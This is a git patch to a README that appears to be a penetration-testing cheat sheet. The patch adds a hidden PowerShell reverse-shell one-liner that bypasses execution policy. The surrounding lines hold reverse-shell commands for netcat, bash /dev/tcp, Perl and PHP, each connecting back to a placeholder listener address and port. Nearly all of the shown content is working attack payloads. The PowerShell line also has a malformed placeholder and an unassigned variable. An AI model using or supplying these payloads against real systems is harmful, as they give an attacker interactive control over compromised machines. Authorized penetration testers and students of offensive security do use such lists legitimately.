From 08bbccf8ee5cd07d0b744e0a27467e89b55f10ce Mon Sep 17 00:00:00 2001 From: Joe Totes <59018247+Totes5706@users.noreply.github.com> Date: Thu, 4 Aug 2022 10:45:09 -0400 Subject: [PATCH] Update README.md --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 5e40f45..2d67d5d 100644 --- a/README.md +++ b/README.md @@ -476,7 +476,8 @@ nc {IP ADDRESS} {PORT} –e /bin/bash # Without netcat installed -# Usage - transfer payload via file transfer and execute binary +# Usage - Windows +powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("{IP ADDRESS",{PORT});$s=$client.GetStream();[byte[]]$b=0..65535|%{0};while(($i = $s.Read($b, 0, $b.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);$sb = (iex $data 2>&1 | Out-String );$sb2=$sb+"PS "+(pwd).Path+"> ";$sbt = ([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$client.Close() # Usage - Linux bash -i >& /dev/tcp/{IP ADDRESS}/{PORT} 0>&1 @@ -487,6 +488,8 @@ perl -e ‘use Socket;$i=”{IP ADDRESS}″;$p={PORT};socket(S,PF_INET,SOCK_STRE # Usage - PHP php -r ‘$sock=fsockopen(“{IP ADDRESS}”,{PORT});exec(“/bin/sh -i <&3 >&3 2>&3”);’ +# Alternative - transfer payload via file transfer and execute binary + # {IP ADDRESS}: IP Address of the client from step one (listener) # {PORT}: Port of the client from step one (listener) ```